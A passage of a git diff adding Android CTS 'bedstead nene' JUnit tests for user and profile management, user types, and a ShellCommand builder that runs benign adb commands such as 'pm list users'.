+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import com.android.bedstead.nene.TestApis;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class UserTest {
+
+    private static final int NON_EXISTING_USER_ID = 10000;
+    private static final int USER_ID = NON_EXISTING_USER_ID;
+    private static final int SERIAL_NO = 1000;
+    private static final UserType USER_TYPE = new UserType(new UserType.MutableUserType());
+    private static final String USER_NAME = "userName";
+
+    private final TestApis mTestApis = new TestApis();
+
+    @Test
+    public void id_returnsId() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mId = USER_ID;
+        User user = new User(mTestApis, mutableUser);
+
+        assertThat(user.id()).isEqualTo(USER_ID);
+    }
+
+    @Test
+    public void construct_idNotSet_throwsNullPointerException() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mId = null;
+
+        assertThrows(NullPointerException.class, () -> new User(mTestApis, mutableUser));
+    }
+
+    @Test
+    public void serialNo_returnsSerialNo() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mSerialNo = SERIAL_NO;
+        User user = new User(mTestApis, mutableUser);
+
+        assertThat(user.serialNo()).isEqualTo(SERIAL_NO);
+    }
+
+    @Test
+    public void serialNo_notSet_returnsNull() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        User user = new User(mTestApis, mutableUser);
+
+        assertThat(user.serialNo()).isNull();
+    }
+
+    @Test
+    public void name_returnsName() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mName = USER_NAME;
+        User user = new User(mTestApis, mutableUser);
+
+        assertThat(user.name()).isEqualTo(USER_NAME);
+    }
+
+    @Test
+    public void name_notSet_returnsNull() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        User user = new User(mTestApis, mutableUser);
+
+        assertThat(user.name()).isNull();
+    }
+
+    @Test
+    public void type_returnsName() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mType = USER_TYPE;
+        User user = new User(mTestApis, mutableUser);
+
+        assertThat(user.type()).isEqualTo(USER_TYPE);
+    }
+
+    @Test
+    public void type_notSet_returnsNull() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        User user = new User(mTestApis, mutableUser);
+
+        assertThat(user.type()).isNull();
+    }
+
+    @Test
+    public void hasProfileOwner_returnsHasProfileOwner() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mHasProfileOwner = true;
+        User user = new User(mTestApis, mutableUser);
+
+        assertThat(user.hasProfileOwner()).isTrue();
+    }
+
+    @Test
+    public void hasProfileOwner_notSet_returnsNull() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        User user = new User(mTestApis, mutableUser);
+
+        assertThat(user.hasProfileOwner()).isNull();
+    }
+
+    @Test
+    public void isPrimary_returnsIsPrimary() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mIsPrimary = true;
+        User user = new User(mTestApis, mutableUser);
+
+        assertThat(user.isPrimary()).isTrue();
+    }
+
+    @Test
+    public void isPrimary_notSet_returnsNull() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        User user = new User(mTestApis, mutableUser);
+
+        assertThat(user.isPrimary()).isNull();
+    }
+
+    @Test
+    public void state_userNotStarted_returnsState() {
+        UserReference user = mTestApis.users().createUser().create();
+        user.stop();
+
+        try {
+            assertThat(user.resolve().state()).isEqualTo(User.UserState.NOT_RUNNING);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    @Ignore("TODO: Ensure we can enter the user locked state")
+    public void state_userLocked_returnsState() {
+        UserReference user = mTestApis.users().createUser().createAndStart();
+
+        try {
+            assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_LOCKED);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void state_userUnlocked_returnsState() {
+        UserReference user = mTestApis.users().createUser().createAndStart();
+
+        try {
+            assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void parent_returnsParent() {
+        UserReference parentUser = new User(mTestApis, createValidMutableUser());
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mParent = parentUser;
+        User user = new User(mTestApis, mutableUser);
+
+        assertThat(user.parent()).isEqualTo(parentUser);
+    }
+
+    @Test
+    public void autoclose_removesUser() {
+        int numUsers = mTestApis.users().all().size();
+
+        try (UserReference user = mTestApis.users().createUser().create()) {
+            // We intentionally don't do anything here, just rely on the auto-close behaviour
+        }
+
+        assertThat(mTestApis.users().all()).hasSize(numUsers);
+    }
+
+    private User.MutableUser createValidMutableUser() {
+        User.MutableUser mutableUser = new User.MutableUser();
+        mutableUser.mId = 1;
+        return mutableUser;
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java
new file mode 100644
index 0000000..d05e091
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.Set;
+
+@RunWith(JUnit4.class)
+public class UserTypeTest {
+
+    private static final int INT_VALUE = 1;
+    private static final String STRING_VALUE = "String";
+
+    @Test
+    public void name_returnsName() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        mutableUserType.mName = STRING_VALUE;
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.name()).isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    public void name_notSet_returnsNull() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.name()).isNull();
+    }
+
+    @Test
+    public void baseType_returnsBaseType() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        mutableUserType.mBaseType = Set.of(UserType.BaseType.FULL);
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.baseType()).containsExactly(UserType.BaseType.FULL);
+    }
+
+    @Test
+    public void baseType_notSet_returnsNull() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.baseType()).isNull();
+    }
+
+    @Test
+    public void enabled_returnsEnabled() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        mutableUserType.mEnabled = true;
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.enabled()).isTrue();
+    }
+
+    @Test
+    public void enabled_notSet_returnsNull() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.enabled()).isNull();
+    }
+
+    @Test
+    public void maxAllowed_returnsMaxAllowed() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        mutableUserType.mMaxAllowed = INT_VALUE;
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.maxAllowed()).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void maxAllowed_notSet_returnsNull() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.maxAllowed()).isNull();
+    }
+
+    @Test
+    public void maxAllowedPerParent_returnsMaxAllowedPerParent() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        mutableUserType.mMaxAllowedPerParent = INT_VALUE;
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.maxAllowedPerParent()).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void maxAllowedParParent_notSet_returnsNull() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.maxAllowedPerParent()).isNull();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
new file mode 100644
index 0000000..aaea85a
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
@@ -0,0 +1,456 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static android.os.Build.VERSION.SDK_INT;
+
+import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
+import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
+import static com.android.bedstead.nene.users.UserType.SYSTEM_USER_TYPE_NAME;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
+
+import android.os.Build;
+import android.os.UserHandle;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasNoSecondaryUser;
+import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
+import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
+import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+
+import org.junit.ClassRule;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class UsersTest {
+
+    private static final int MAX_SYSTEM_USERS = UserType.UNLIMITED;
+    private static final int MAX_SYSTEM_USERS_PER_PARENT = UserType.UNLIMITED;
+    private static final String INVALID_TYPE_NAME = "invalidTypeName";
+    private static final int MAX_MANAGED_PROFILES = UserType.UNLIMITED;
+    private static final int MAX_MANAGED_PROFILES_PER_PARENT = 1;
+    private static final int NON_EXISTING_USER_ID = 10000;
+    private static final int USER_ID = NON_EXISTING_USER_ID;
+    private static final String USER_NAME = "userName";
+
+    private final TestApis mTestApis = new TestApis();
+    private final UserType mSecondaryUserType =
+            mTestApis.users().supportedType(SECONDARY_USER_TYPE_NAME);
+    private final UserType mManagedProfileType =
+            mTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME);
+    private final UserReference mInstrumentedUser = mTestApis.users().instrumented();
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    // We don't want to test the exact list of any specific device, so we check that it returns
+    // some known types which will exist on the emulators (used for presubmit tests).
+
+    @Test
+    public void supportedTypes_containsManagedProfile() {
+        UserType managedProfileUserType =
+                mTestApis.users().supportedTypes().stream().filter(
+                        (ut) -> ut.name().equals(MANAGED_PROFILE_TYPE_NAME)).findFirst().get();
+
+        assertThat(managedProfileUserType.baseType()).containsExactly(UserType.BaseType.PROFILE);
+        assertThat(managedProfileUserType.enabled()).isTrue();
+        assertThat(managedProfileUserType.maxAllowed()).isEqualTo(MAX_MANAGED_PROFILES);
+        assertThat(managedProfileUserType.maxAllowedPerParent())
+                .isEqualTo(MAX_MANAGED_PROFILES_PER_PARENT);
+    }
+
+    @Test
+    public void supportedTypes_containsSystemUser() {
+        UserType systemUserType =
+                mTestApis.users().supportedTypes().stream().filter(
+                        (ut) -> ut.name().equals(SYSTEM_USER_TYPE_NAME)).findFirst().get();
+
+        assertThat(systemUserType.baseType()).containsExactly(
+                UserType.BaseType.SYSTEM, UserType.BaseType.FULL);
+        assertThat(systemUserType.enabled()).isTrue();
+        assertThat(systemUserType.maxAllowed()).isEqualTo(MAX_SYSTEM_USERS);
+        assertThat(systemUserType.maxAllowedPerParent()).isEqualTo(MAX_SYSTEM_USERS_PER_PARENT);
+    }
+
+    @Test
+    public void supportedType_validType_returnsType() {
+        UserType managedProfileUserType =
+                mTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME);
+
+        assertThat(managedProfileUserType.baseType()).containsExactly(UserType.BaseType.PROFILE);
+        assertThat(managedProfileUserType.enabled()).isTrue();
+        assertThat(managedProfileUserType.maxAllowed()).isEqualTo(MAX_MANAGED_PROFILES);
+        assertThat(managedProfileUserType.maxAllowedPerParent())
+                .isEqualTo(MAX_MANAGED_PROFILES_PER_PARENT);
+    }
+
+    @Test
+    public void supportedType_invalidType_returnsNull() {
+        assertThat(mTestApis.users().supportedType(INVALID_TYPE_NAME)).isNull();
+    }
+
+    @Test
+    public void all_containsCreatedUser() {
+        UserReference user = mTestApis.users().createUser().create();
+
+        try {
+            assertThat(mTestApis.users().all()).contains(user);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void all_userAddedSinceLastCallToUsers_containsNewUser() {
+        UserReference user = mTestApis.users().createUser().create();
+        mTestApis.users().all();
+        UserReference user2 = mTestApis.users().createUser().create();
+
+        try {
+            assertThat(mTestApis.users().all()).contains(user2);
+        } finally {
+            user.remove();
+            user2.remove();
+        }
+    }
+
+    @Test
+    public void all_userRemovedSinceLastCallToUsers_doesNotContainRemovedUser() {
+        UserReference user = mTestApis.users().createUser().create();
+        mTestApis.users().all();
+        user.remove();
+
+        assertThat(mTestApis.users().all()).doesNotContain(user);
+    }
+
+    @Test
+    public void find_userExists_returnsUserReference() {
+        UserReference user = mTestApis.users().createUser().create();
+        try {
+            assertThat(mTestApis.users().find(user.id())).isEqualTo(user);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void find_userDoesNotExist_returnsUserReference() {
+        assertThat(mTestApis.users().find(NON_EXISTING_USER_ID)).isNotNull();
+    }
+
+    @Test
+    public void find_fromUserHandle_referencesCorrectId() {
+        assertThat(mTestApis.users().find(UserHandle.of(USER_ID)).id()).isEqualTo(USER_ID);
+    }
+
+    @Test
+    public void find_constructedReferenceReferencesCorrectId() {
+        assertThat(mTestApis.users().find(USER_ID).id()).isEqualTo(USER_ID);
+    }
+
+    @Test
+    public void createUser_additionalSystemUser_throwsException()  {
+        assertThrows(NeneException.class, () ->
+                mTestApis.users().createUser()
+                        .type(mTestApis.users().supportedType(SYSTEM_USER_TYPE_NAME))
+                        .create());
+    }
+
+    @Test
+    public void createUser_userIsCreated()  {
+        UserReference user = mTestApis.users().createUser().create();
+
+        try {
+            assertThat(mTestApis.users().all()).contains(user);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void createUser_createdUserHasCorrectName() {
+        UserReference userReference = mTestApis.users().createUser()
+                .name(USER_NAME)
+                .create();
+
+        try {
+            assertThat(userReference.resolve().name()).isEqualTo(USER_NAME);
+        } finally {
+            userReference.remove();
+        }
+    }
+
+    @Test
+    public void createUser_createdUserHasCorrectTypeName() {
+        UserReference userReference = mTestApis.users().createUser()
+                .type(mSecondaryUserType)
+                .create();
+
+        try {
+            assertThat(userReference.resolve().type()).isEqualTo(mSecondaryUserType);
+        } finally {
+            userReference.remove();
+        }
+    }
+
+    @Test
+    public void createUser_specifiesNullUserType_throwsException() {
+        UserBuilder userBuilder = mTestApis.users().createUser();
+
+        assertThrows(NullPointerException.class, () -> userBuilder.type(null));
+    }
+
+    @Test
+    public void createUser_specifiesSystemUserType_throwsException() {
+        UserType type = mTestApis.users().supportedType(SYSTEM_USER_TYPE_NAME);
+        UserBuilder userBuilder = mTestApis.users().createUser()
+                .type(type);
+
+        assertThrows(NeneException.class, userBuilder::create);
+    }
+
+    @Test
+    public void createUser_specifiesSecondaryUserType_createsUser() {
+        UserReference user = mTestApis.users().createUser().type(mSecondaryUserType).create();
+
+        try {
+            assertThat(user.resolve()).isNotNull();
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void createUser_specifiesManagedProfileUserType_createsUser() {
+        UserReference systemUser = mTestApis.users().system();
+        UserReference user = mTestApis.users().createUser()
+                .type(mManagedProfileType).parent(systemUser).create();
+
+        try {
+            assertThat(user.resolve()).isNotNull();
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void createUser_createsProfile_parentIsSet() {
+        UserReference systemUser = mTestApis.users().system();
+        UserReference user = mTestApis.users().createUser()
+                .type(mManagedProfileType).parent(systemUser).create();
+
+        try {
+            assertThat(user.resolve().parent()).isEqualTo(mTestApis.users().system());
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void createUser_specifiesParentOnNonProfileType_throwsException() {
+        UserReference systemUser = mTestApis.users().system();
+        UserBuilder userBuilder = mTestApis.users().createUser()
+                .type(mSecondaryUserType).parent(systemUser);
+
+        assertThrows(NeneException.class, userBuilder::create);
+    }
+
+    @Test
+    public void createUser_specifiesProfileTypeWithoutParent_throwsException() {
+        UserBuilder userBuilder = mTestApis.users().createUser()
+                .type(mManagedProfileType);
+
+        assertThrows(NeneException.class, userBuilder::create);
+    }
+
+    @Test
+    public void createUser_androidLessThanS_createsManagedProfileNotOnSystemUser_throwsException() {
+        assumeTrue("After Android S, managed profiles may be a profile of a non-system user",
+                SDK_INT < Build.VERSION_CODES.S);
+
+        UserReference nonSystemUser = mTestApis.users().createUser().create();
+
+        try {
+            UserBuilder userBuilder = mTestApis.users().createUser()
+                    .type(mManagedProfileType)
+                    .parent(nonSystemUser);
+
+            assertThrows(NeneException.class, userBuilder::create);
+        } finally {
+            nonSystemUser.remove();
+        }
+    }
+
+    @Test
+    public void createAndStart_isStarted() {
+        User user = null;
+
+        try {
+            user = mTestApis.users().createUser().name(USER_NAME).createAndStart().resolve();
+            assertThat(user.state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
+        } finally {
+            if (user != null) {
+                user.remove();
+            }
+        }
+    }
+
+    @Test
+    public void system_hasId0() {
+        assertThat(mTestApis.users().system().id()).isEqualTo(0);
+    }
+
+    @Test
+    public void instrumented_hasCurrentProccessId() {
+        assertThat(mTestApis.users().instrumented().id())
+                .isEqualTo(android.os.Process.myUserHandle().getIdentifier());
+    }
+
+    @Test
+    @EnsureHasNoSecondaryUser
+    public void findUsersOfType_noMatching_returnsEmptySet() {
+        assertThat(mTestApis.users().findUsersOfType(mSecondaryUserType)).isEmpty();
+    }
+
+    @Test
+    public void findUsersOfType_nullType_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.users().findUsersOfType(null));
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    @Ignore("TODO: Re-enable when harrier .secondaryUser() only"
+            + " returns the harrier-managed secondary user")
+    public void findUsersOfType_returnsUsers() {
+        try (UserReference additionalUser = mTestApis.users().createUser().create()) {
+            assertThat(mTestApis.users().findUsersOfType(mSecondaryUserType))
+                    .containsExactly(sDeviceState.secondaryUser(), additionalUser);
+        }
+    }
+
+    @Test
+    public void findUsersOfType_profileType_throwsException() {
+        assertThrows(NeneException.class,
+                () -> mTestApis.users().findUsersOfType(mManagedProfileType));
+    }
+
+    @Test
+    @EnsureHasNoSecondaryUser
+    public void findUserOfType_noMatching_returnsNull() {
+        assertThat(mTestApis.users().findUserOfType(mSecondaryUserType)).isNull();
+    }
+
+    @Test
+    public void findUserOfType_nullType_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.users().findUserOfType(null));
+    }
+
+    @Test
+    @EnsureHasSecondaryUser
+    public void findUserOfType_multipleMatchingUsers_throwsException() {
+        try (UserReference additionalUser = mTestApis.users().createUser().create()) {
+            assertThrows(NeneException.class,
+                    () -> mTestApis.users().findUserOfType(mSecondaryUserType));
+        }
+    }
+
+    @Test
+    @EnsureHasSecondaryUser // TODO(scottjonathan): This should have a way of specifying exactly 1
+    public void findUserOfType_oneMatchingUser_returnsUser() {
+        assertThat(mTestApis.users().findUserOfType(mSecondaryUserType)).isNotNull();
+    }
+
+    @Test
+    public void findUserOfType_profileType_throwsException() {
+        assertThrows(NeneException.class,
+                () -> mTestApis.users().findUserOfType(mManagedProfileType));
+    }
+
+    @Test
+    @EnsureHasNoWorkProfile
+    public void findProfilesOfType_noMatching_returnsEmptySet() {
+        assertThat(mTestApis.users().findProfilesOfType(mManagedProfileType, mInstrumentedUser))
+                .isEmpty();
+    }
+
+    @Test
+    public void findProfilesOfType_nullType_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.users().findProfilesOfType(
+                        /* userType= */ null, mInstrumentedUser));
+    }
+
+    @Test
+    public void findProfilesOfType_nullParent_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.users().findProfilesOfType(
+                        mManagedProfileType, /* parent= */ null));
+    }
+
+    // TODO(scottjonathan): Once we have profiles which support more than one instance, test this
+
+    @Test
+    @EnsureHasNoWorkProfile
+    public void findProfileOfType_noMatching_returnsNull() {
+        assertThat(mTestApis.users().findProfileOfType(mManagedProfileType, mInstrumentedUser))
+                .isNull();
+    }
+
+    @Test
+    public void findProfilesOfType_nonProfileType_throwsException() {
+        assertThrows(NeneException.class,
+                () -> mTestApis.users().findProfilesOfType(mSecondaryUserType, mInstrumentedUser));
+    }
+
+    @Test
+    public void findProfileOfType_nullType_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.users().findProfileOfType(/* userType= */ null, mInstrumentedUser));
+    }
+
+    @Test
+    public void findProfileOfType_nonProfileType_throwsException() {
+        assertThrows(NeneException.class,
+                () -> mTestApis.users().findProfileOfType(mSecondaryUserType, mInstrumentedUser));
+    }
+
+    @Test
+    public void findProfileOfType_nullParent_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> mTestApis.users().findProfileOfType(mManagedProfileType, /* parent= */ null));
+    }
+
+    @Test
+    @EnsureHasWorkProfile // TODO(scottjonathan): This should have a way of specifying exactly 1
+    public void findProfileOfType_oneMatchingUser_returnsUser() {
+        assertThat(mTestApis.users().findProfileOfType(mManagedProfileType, mInstrumentedUser))
+                .isNotNull();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandTest.java
new file mode 100644
index 0000000..226961e
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandTest.java
@@ -0,0 +1,198 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import static android.os.Build.VERSION.SDK_INT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
+
+import android.os.Build;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.function.Function;
+
+@RunWith(JUnit4.class)
+public class ShellCommandTest {
+
+    private static final String LIST_USERS_COMMAND = "pm list users";
+    private static final String LIST_USERS_EXPECTED_OUTPUT = "Users:";
+    private static final String INVALID_COMMAND_LEGACY_OUTPUT = "pm list-users";
+    private static final String INVALID_COMMAND_EXPECTED_LEGACY_OUTPUT = "Unknown command:";
+    private static final String INVALID_COMMAND_CORRECT_OUTPUT = "pm set-harmful-app-warning --no";
+    private static final String COMMAND_WITH_EMPTY_OUTPUT = "am stop-user 99999";
+    private static final Function<String, Boolean> ALWAYS_PASS_OUTPUT_FILTER = (output) -> true;
+    private static final Function<String, Boolean> ALWAYS_FAIL_OUTPUT_FILTER = (output) -> false;
+    private static final String COMMAND = "pm list users";
+
+    @Test
+    public void constructBuilder_nullCommand_throwsException() {
+        assertThrows(NullPointerException.class, () -> ShellCommand.builder(null));
+    }
+
+    @Test
+    public void constructBuilder_constructs() {
+        assertThat(ShellCommand.builder(/* command= */ COMMAND)).isNotNull();
+    }
+
+    @Test
+    public void build_containsCommand() {
+        assertThat(ShellCommand.builder(/* command= */ COMMAND).build()).isEqualTo(COMMAND);
+    }
+
+    @Test
+    public void build_containsOption() {
+        ShellCommand.Builder builder = ShellCommand.builder("command")
+                .addOption("--optionkey", "optionvalue");
+
+
+        assertThat(builder.build()).isEqualTo("command --optionkey optionvalue");
+    }
+
+    @Test
+    public void build_containsOptions() {
+        ShellCommand.Builder builder = ShellCommand.builder("command")
+                .addOption("--optionkey", "optionvalue")
+                .addOption("--optionkey2", "optionvalue2");
+
+
+        assertThat(builder.build()).isEqualTo(
+                "command --optionkey optionvalue --optionkey2 optionvalue2");
+    }
+
+    @Test
+    public void build_containsOperand() {
+        ShellCommand.Builder builder = ShellCommand.builder("command")
+                .addOperand("operand");
+
+
+        assertThat(builder.build()).isEqualTo("command operand");
+    }
+
+    @Test
+    public void build_containsOperands() {
+        ShellCommand.Builder builder = ShellCommand.builder("command")
+                .addOperand("operand")
+                .addOperand("operand2");
+
+
+        assertThat(builder.build()).isEqualTo("command operand operand2");
+    }
+
+    @Test
+    public void build_interleavesOptionsAndOperands() {
+        ShellCommand.Builder builder = ShellCommand.builder("command")
+                .addOperand("operand")
+                .addOption("--optionkey", "optionvalue")
+                .addOperand("operand2");
+
+
+        assertThat(builder.build()).isEqualTo("command operand --optionkey optionvalue operand2");
+    }
+
+    @Test
+    public void execute_returnsOutput() throws Exception {
+        assertThat(ShellCommand.builder(LIST_USERS_COMMAND).execute())
+                .contains(LIST_USERS_EXPECTED_OUTPUT);
+    }
+
+    @Test
+    @Ignore("This behaviour is not implemented yet")
+    public void execute_invalidCommand_legacyOutput_throwsException() {
+        assumeTrue(
+                "New behaviour is only supported on Android 11+", SDK_INT >= Build.VERSION_CODES.R);
+        assertThrows(AdbException.class,
+                () -> ShellCommand.builder(INVALID_COMMAND_LEGACY_OUTPUT).execute());
+    }
+
+    @Test
+    public void execute_invalidCommand_legacyOutput_preAndroid11_throwsException()
+            throws Exception {
+        // This is currently still the default behaviour
+        //assumeTrue("Legacy behaviour is only supported before 11",
+        // SDK_INT < Build.VERSION_CODES.R);
+        assumeTrue("This command's behaviour changed in Android P",
+                SDK_INT >= Build.VERSION_CODES.P);
+        assertThat(ShellCommand.builder(INVALID_COMMAND_LEGACY_OUTPUT).execute())
+                .contains(INVALID_COMMAND_EXPECTED_LEGACY_OUTPUT);
+    }
+
+    @Test
+    public void execute_validate_outputFilterMatched_returnsOutput() throws Exception {
+        assertThat(
+                ShellCommand.builder(LIST_USERS_COMMAND)
+                        .validate(ALWAYS_PASS_OUTPUT_FILTER)
+                        .execute())
+                .isNotNull();
+    }
+
+    @Test
+    public void executeAndValidateOutput_outputFilterNotMatched_throwsException() {
+        assertThrows(AdbException.class,
+                () -> ShellCommand.builder(LIST_USERS_COMMAND)
+                        .validate(ALWAYS_FAIL_OUTPUT_FILTER)
+                        .execute());
+    }
+
+    @Test
+    public void execute_invalidCommand_correctOutput_throwsException() {
+        assertThrows(AdbException.class,
+                () -> ShellCommand.builder(INVALID_COMMAND_CORRECT_OUTPUT).execute());
+    }
+
+    @Test
+    public void execute_allowEmptyOutput_commandHasEmptyOutput_returnsOutput()
+            throws Exception {
+        assertThat(
+                ShellCommand.builder(COMMAND_WITH_EMPTY_OUTPUT)
+                        .allowEmptyOutput(true)
+                        .execute())
+                .isEmpty();
+    }
+
+    @Test
+    public void execute_allowEmptyOutput_commandHasNonEmptyOutput_returnsOutput()
+            throws Exception {
+        assertThat(ShellCommand.builder(LIST_USERS_COMMAND)
+                .allowEmptyOutput(true)
+                .execute())
+                .contains(LIST_USERS_EXPECTED_OUTPUT);
+    }
+
+    @Test
+    public void executeAndParse_parseSucceeds_returnsCorrectValue() throws Exception {
+        assertThat((Integer) ShellCommand.builder(LIST_USERS_COMMAND)
+                .executeAndParseOutput((output) -> 3)).isEqualTo(3);
+    }
+
+    @Test
+    public void executeAndParse_parseFails_throwsException() {
+        assertThrows(AdbException.class, () ->
+                ShellCommand.builder(LIST_USERS_COMMAND)
+                .executeAndParseOutput((output) -> {
+                    throw new IllegalStateException();
+                }));
+    }
+}
